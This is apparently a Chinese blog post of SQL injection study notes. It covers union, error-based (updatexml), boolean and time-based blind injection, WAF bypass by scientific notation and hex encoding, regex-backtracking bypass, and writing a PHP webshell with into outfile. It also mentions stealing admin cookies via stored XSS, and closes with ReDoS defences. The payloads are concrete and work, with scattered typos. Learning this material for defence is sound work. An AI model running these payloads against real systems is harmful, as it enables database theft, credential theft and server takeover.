【无标题】

本文·先阐述学习 SQL 注入的意义 ------ 可针对互联网(Java/PHP/Python+MySQL)、工业(.NET/ASPX+MSSQL)、银行金融(.NET/Java+Oracle)不同场景提升系统防御、排查能力,防范数据篡改、系统瘫痪等风险;接着讲解 SQL 注入核心知识,包括 substring、length 等常用函数,information_schema 系统库,union/join 联表查询、order by 确定列数、注释符构造语句等技巧,以及 "获取库名→表名→列名→数据" 的基本注入步骤;还介绍了报错注入、盲注(布尔 / 时间)等实操类型,科学计数法、十六进制编码等 WAF 绕过方法,正则回溯攻击的原理与绕过 / 防御手段,mysql 利用 into outfile getshell 的苛刻条件,魔术开关、strpos 等相关问题,以及报错注入类型转换错误的解决办法、union 查询结果显示规则等;最后补充了表单 post 漏洞、信息收集(鹰图、robots.txt)、XSS(xsshunter)等辅助安全内容,和正则回溯攻击的多维度防御策略。

为什么要学sql注入

更好地防御:写出更安全的代码,搭建更稳固的系统

提升安全排查与应急响应能力:应对已存在的安全风险

学习 SQL 注入的意义:工业系统多为长期运行的老旧系统,.NET/MSSQL 架构的存量漏洞较多,学习 SQL 注入能精准定位这类系统的安全隐患;防止恶意人员通过 SQL 注入篡改工业数据(比如电力调度数据、核电站设备监控数据)、瘫痪控制系统,避免引发生产事故、公共安全事件。

sql注入:就是本不该被查询的,被查询到了

第一互联网产品(Java/PHP/Python + MySQL)联网产品

互联网产品用户量大、数据价值高(用户信息、交易数据、内容数据),且多为对外公开访问,是 SQL 注入攻击的高发区。

这也是我们学习的主要

第二 工业产品(核电站、烟草、电力 + .NET/ASPX + MSSQL)

这类工业控制系统看似封闭,但随着 "工业互联网" 的推进,越来越多系统具备网络连接能力,且系统的安全性直接关联公共安全、国家利益,容错率极低。

第三 银行金融 有相关的产品(.NET/Java + Oracle 为主)

金融系统的核心是资金数据和用户征信数据,具有极高的经济价值,是网络攻击的重点目标,SQL 注入的危害会被无限放大。

Oracle 数据库相比 MySQL,SQL 语法更复杂,注入场景更多样,学习 SQL 注入能针对性掌握 Oracle 架构下的安全防御技巧。

sql注入常用截断函数和其他函数

以下均为常用截断函数

select substring('root',2,2) 从第二位开始截断2位

mid(字符串,开始,长度)

substr

left

right

以下为函数实际应用

length(database()); 长度8

substr(database(),1,1); 结果s

ascii(substr(database(),1,1)); 115 可见字符33-127

eg:select if(now()=sysdata(),database(),user()); 对走database,错走user

infomation_schema--重要的系统库:各种信息

重点关注以下信息

schemata--库名 关注字段:schema_name---库名

tables------所有的库名表名(重点关注)

columns---库,表,列 记录了所有列名

联表查询

有union和join两种查询,以下是前置基础

union:用于合并多个 SELECT 语句的结果集,核心是"合并行",不关联表,要求多个 SELECT 的列数、列类型必须一致。

用法:SELECT 列1, 列2 FROM 表1 UNION SELECT 列1, 列2 FROM 表2;

join:用于多表关联查询,根据表间的关联字段(主键/外键)合并多个表的数据,核心是"按关联条件匹配行"。

内连接: SELECT 列 FROM 表1 INNER JOIN 表2 ON 表1.关联列=表2.关联列; 只返回两表匹配成功的行

左连接: SELECT 列 FROM 表1 LEFT JOIN 表2 ON 关联条件; 返回表1所有行,表2无匹配则补 NULL

右连接: SELECT 列 FROM 表1 RIGHT JOIN 表2 ON 关联条件; 返回表2所有行,表1无匹配则补 NULL

联表查询:前提前端要有回显

select*from user union select *from emails;

问题:入侵别人如何确定列数?

order by(排序,asc正,dasc倒)

利用报错知道几列:select *from users oder by 4 desc;

select *from users where id='1' order by ---+ 'limit 0,1'; 要让数据库误解

注释:- - +;#;/**/ post传参要用#注释

真实注入时:?id=-1' union select 1,database(),users() ;- -+

思考:为什么前面要为-1 ,

原因:利用不存在信息查询想要的信息,清空原始结果,返回注入的查询结果,union要两个查询数据一致,数据类型兼容才生效,先前为正确的,只会优先显示原始结果,会覆盖注入结果

我们最终的目的是得到管理员的账号密码(infomationsy所有表)

基本注入步骤

group_concat合并所有字段为一行

1库2表3字段4列

1、获取所有库名:select schema_name from infomation_schema.schemata;

2、知库求表

方法一:select table_name from infomation_schema.tables where table_schema='库名' limit 2,1 ;取1个

方法二:select group_concat(table_name )from infomation_schema.tables where table_schema='库名;

3、知表找列

方法一:select column_name from infomation_schema.columns where table_schema='数据库名' and table_name='表名';

方法二:select group_concat( column_name) from infomation_schema.columns where table_schema='数据库名' and table_name='表名';

4、找数据

就是正常查找自己想要的数据

报错注入

常用的函数:updataxml,extractvalue(1,concat()),fool

?id=1' and updataxml(1,concat(ox7e,database(),ox7e),1);

前面id=1必须为真

updataxml 在mysql中的使用方法

3个参数,1、原本xml文本,2、xoath路径,3、更新替换的内容

xpath路径:注入时构造成非法的路径,把查询语句嵌入进去

xpath 最多为32位,超过32位则要利用substr截断函数

SELECT UPDATEXML(1, concat('~', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 1, 32)) , 1);

SELECT UPDATEXML(1, concat('~', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 33, 64)), 1);

盲注

SQL 注入的一种进阶形式,目标网站不会直接返回数据库错误信息或查询结果,只能通过页面的"是/否""真/假"等间接反馈

length(databse())=7 ;- -+ 有显示即正确-判断长度

ascii(substr(database(),1,1))>115 ;--+ 来判断显示字母

科学计数法-前提数字型注入

1. 绕过数字型WAF拦截 ***重点

当WAF拦截纯数字Payload时,可将数字转为科学计数法形式:

原始Payload(可能被拦截)?id=1 AND 1=1

科学计数法绕过

?id=1e0 AND 1e0=1e0

1e0 等价于 1,1e3 等价于 1000,数据库会自动解析为数字,而WAF可能识别为字符串或未知格式,从而放行。

2. 十六进制编码绕过字符检测

对于字符型注入,可将字符串转为十六进制(本质也是一种科学计数法衍生技巧),避免直接出现敏感字符:

原始Payload(可能被拦截)

?id=1' AND username='admin'--

十六进制绕过(admin 的十六进制为 0x61646d696e)

?id=1' AND username=0x61646d696e--

数据库会自动将 0x 开头的十六进制字符串解析为原字符,WAF无法直接识别,从而绕过关键词拦截。

3.结合函数混淆Payload

科学计数法可与 ASCII()、SUBSTR() 等函数结合,进一步隐藏注入意图:

原始布尔盲注Payload

?id=1 AND ASCII(SUBSTR(DATABASE(),1,1))=115

科学计数法绕过(115 转为 1.15e2)

?id=1 AND ASCII(SUBSTR(DATABASE(),1,1))=1.15e2

单词边界

在正则表达式中,单词边界是一个用于匹配单词位置的锚点,用字符 \b 表示,它匹配的是"单词字符"与"非单词字符"之间的位置,不匹配任何实际字符。

规则

  1. 单词字符:默认指 [a-zA-Z0-9_](字母、数字、下划线)

  2. 非单词字符:指除上述字符外的所有字符(如空格、标点、换行等)

eg:/\b select(.*)from\b

有回溯过程

回溯

php正则表达式

1、回溯过程有限

2、当超过回溯最大长度会崩溃,退出

查看回溯次数:网站regexcol.com

绕过方式:加入100万个不匹配的字符

矛盾的if

解决方法:

1、数组绕过,前提是没有限制不让用数组

aaa[]=1

2、回溯用脚本

strpos

判断某个字符首次出现的位置,应用====运算符来判断返回值 ;

!== 严格不相等(值,类型)

outfile mysql如何getshell(面试常问) into outfile

前提:1、字段内容? <?php phpinfo(); ,一句话木马

​ 2、文件路径? web物理路径

​ 3、文件名? xxx.php

​ 4、导出这个文件有什么帮助 直接getshell

但是实际上几乎不可以这个漏洞,因为限制条件及其苛刻(以下三个条件必须满足)

限制条件:

1、必须是root权限

2、在某个字段必须为空:secure_file_priv默认位null不可导出,有路径或者空白可以导出(如果路径位/tmp没有用)

3、知道本网站物理路径(猜或者爆破)

into outfile使用

into outfile 本网站绝对路径/保存文件名.txt

实际:id=1')) union select 1,'<?php phpinfo();?> 'out file 路径/ww.php;- -+

布尔注入

方法:报错注入,脚本(二分),bp爆破

时间盲注

and if(ascii(substr(database(),1,1))=115,sleep(3),0); - -+

魔术开关=stripslashes

会转义特殊字符,代表 '失效,逃逸不出单引号的限制

魔术开关5.3以前存在,5.3以后默认关闭

1、传入admin\ ' 本来转义了

2、魔术开关再次转义 --admin \\ ' 防止注入失效了

3、利用函数stripslashes再次使 '生效

思考1重庆再生资源

报错注入改为union select(test.py)

除了正则回溯以外有无其他的思路拿下

1、服务器上有多个站点,用旁注拿下周边的,权限不严就能拿下主要网站

2、利用存储型xss拿后台管理员的cookies(xsshunter网站管理)

思考2如何防御正则回溯、

从源头避免回溯漏洞,关键是消除正则中的贪婪匹配嵌套和可选分支歧义

复制代码
正则回溯攻击(也叫正则表达式DoS,ReDoS)是攻击者构造特殊字符串,让正则表达式的回溯次数呈指数级增长,最终导致服务器CPU占满、服务瘫痪的攻击方式。防御核心是避免写低效正则+限制正则执行资源+加固应用层防护,分三个维度讲具体做法:

一、核心:编写无回溯/低回溯的正则表达式
1. 杜绝「贪婪量词+可选分支」的危险组合
危险示例(会引发大量回溯):
^(a+)+$
匹配aaaaaaaaaaaaaaaaaaaaa!时,(a+)+会不断尝试拆分a的数量,回溯次数呈指数级增长。
修复方案:
简化正则,去掉多余的分组和量词嵌套:
^a+$ 


2. 使用非贪婪量词时避免歧义
非贪婪量词(*?/+?/??)并非绝对安全,需结合场景使用,同时避免无意义的可选分支。
示例:
^(.+?)(abc|def)$匹配长字符串时,会反复回溯匹配abc/def。
修复方案:
 明确匹配边界,减少分支歧义:
^(.+)(abc|def)$
	(或根据场景直接限定结尾字符,避免模糊匹配)
	
	
3. 用原子组阻止回溯(部分语言支持)
原子组((?>pattern))会让正则引擎不保存回溯点,匹配失败直接退出,适用于确定无需回溯的场景。
示例:
^(?>a+)$
 匹配a串时,不会产生任何回溯,性能拉满. 
 
4. 限定匹配长度
对可变长度的匹配(如*/+)增加长度限制,避免无限匹配引发的回溯。
危险:
^[a-zA-Z0-9]*$
修复方案:
^[a-zA-Z0-9]{0,50}$
(根据需求限定最大长度,如50位)

二、应用层:限制正则执行的资源与超时

1. 设置正则执行超时时间
 编程语言层面:Python用re模块的超时参数(Python 3.5+支持),Java用Pattern.quote()+线程超时,PHP用pcre.backtrack_limit限制回溯次数。
Python 示例:设置超时1秒
import re
try:
    re.match(r"^(a+)+$", "a"*10000, timeout=1)
except re.TimeoutError:
    print("正则执行超时,疑似ReDoS攻击")
2. 限制输入字符串长度
 对用户输入做前置校验,拒绝超长字符串,从源头减少回溯的可能性。
3. 禁用危险正则语法
过滤用户可控的正则输入,禁止使用*/+/()等易引发回溯的语法。

三、运维/架构层:加固服务防护

1. 隔离正则执行进程
 将正则匹配操作放到独立的进程/容器中执行,避免单个请求的正则DoS拖垮整个服务。
2. 监控CPU与回溯指标
监控服务器CPU使用率,以及正则引擎的回溯次数,发现异常立即阻断请求。
3. 使用WAF拦截恶意请求
配置WAF规则,拦截特征明显的ReDoS攻击字符串,如超长重复字符+正则触发字符。
 
只要正则包含以下特征,就存在ReDoS风险:
1. 嵌套的贪婪量词:(a+)+、(a*)*、(a+)?;
2. 无长度限制的模糊匹配:.+、.*搭配可选分支;
3. 多层嵌套的分组:((((a+)))+)。

思考3

1'and updataxml (select group_concat table_name) 可以拿到

1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) ;#

a' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) ;#

为什么报这个错误:a'and truncated incorrect BOUBLE value;'a'

原因:1和a 触发不同的语法分析逻辑

'1' 是字符串,但MySQL会自动将数字型字符串'1'转为数值1,和and后的布尔表达式(updatexml的报错逻辑)做运算,类型匹配,无转换错误;

'a' 是纯字母字符串,MySQL尝试将其转为DOUBLE数值(因为and需要布尔/数值型运算),但a无法转为任何数值,直接抛出Truncated incorrect DOUBLE value: 'a' 错误;

这个错误发生在updatexml执行之前,所以报错注入逻辑根本没机会运行,你只看到了类型转换错误

解决办法:

方法一:a' and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

原理1=强制MySQL先执行updatexml的返回值(布尔型),不再尝试将'a'转为DOUBLE,直接触发报错注入

除了updatexml以外我还可以用什么函数报错注入

a' and xxx什么可以成功、

"SELECT username, password FROM users WHERE username='a' union select 1,user()#"

第一 他是否可以查询到数据

username字段 能不能是admin

为什么?

注意

1、表单很容易出现post漏洞

robows.txt是什么

信息收集:鹰图平台,蜘蛛

xsshunter网站管理

相关推荐
qq_336313932 小时前
java基础-网络编程-UDP
网络
乾元2 小时前
范式转移:从基于规则的“特征码”到基于统计的“特征向量”
运维·网络·人工智能·网络协议·安全
txinyu的博客2 小时前
手写 C++ 高性能 Reactor 网络服务器
服务器·网络·c++
华普微HOPERF2 小时前
BLE6.0规范,如何助力智能门锁突破性能极限?
网络·智能家居·解决方案·智能门锁·芯片模组·蓝牙6.0
Wcy30765190662 小时前
文件包含漏洞及PHP伪协议
开发语言·php
爱吃山竹的大肚肚2 小时前
达梦(DM)数据库中设置表空间
java·数据库·sql·mysql·spring·spring cloud·oracle
程序猿编码2 小时前
无状态TCP技术:DNS代理的轻量级实现逻辑与核心原理(C/C++代码实现)
c语言·网络·c++·tcp/ip·dns
周某人姓周2 小时前
sqli-labs注入靶场搭建与sql语句
sql·安全·网络安全
小二·2 小时前
Python Web 开发进阶实战:可验证网络 —— 在 Flask + Vue 中实现去中心化身份(DID)与零知识证明(ZKP)认证
前端·网络·python